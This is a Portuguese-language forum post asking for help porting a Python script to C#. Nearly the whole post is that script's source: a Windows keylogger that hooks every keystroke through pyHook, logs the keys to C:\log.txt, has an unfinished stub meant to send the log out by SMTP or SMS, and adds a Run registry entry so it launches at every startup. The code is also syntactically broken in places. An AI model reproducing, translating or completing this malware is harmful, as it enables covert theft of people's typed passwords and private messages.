Ir ao conteúdo
  • Cadastre-se

Tradução de python para c#


Posts recomendados

Pessoal, tem como traduzir este script python em C#?

import os
import string
import sys
import win32api
import win32con
import time
import pprint
import shutil
import pyHook
import pythoncom
from time import ctime

from _winreg import *

#setting some global vars
skippedKeys = set( (0,) )

def send_message():
#send the keylogged message by smtp, sms, or anything else :)

def OnKeyboardEvent(event):
    try:
        eventWindow, ascii = event.WindowName, event.Ascii
        if ascii not in skippedKeys:
            input_ = chr(ascii)
            print ascii
            f = open('C:\\log.txt', 'r')
            data = f.read()
            f.close()
            f = open('C:\\log.txt', 'w')
            if ascii == 32:
                input_=' '
            else:
                if ascii == 13:
                    input_='\n'
                else:
                    if ascii == 8:
                        input_='*bs*'
            data += input_
            f.write(data)
            f.close()
            if len(data) > 30:
                send_message()
                f = open('C:\\log.txt', 'w')
                f.close()
            return True
    except:
        return True

#to the keylogger after every startup
def regwrite():
  aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
  aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
#note that we must convert the python file to .exe file
  SetValueEx(aKey,"KEYLOGGER",0, REG_SZ, r"C:\keylogger.exe")
  CloseKey(aKey)
  CloseKey(aReg)

if __name__ == "__main__":
    regwrite()
    try:
        # we flush/create the log file
        f=open('C:\\log.txt', 'w')
        f.close()    
        hm = pyHook.HookManager()    
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        try:
            pythoncom.PumpMessages()
        except:
            pass
    except:
        passnote: you must

 

Link para o comentário
Compartilhar em outros sites

Visitante
Este tópico está impedido de receber novas respostas.

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...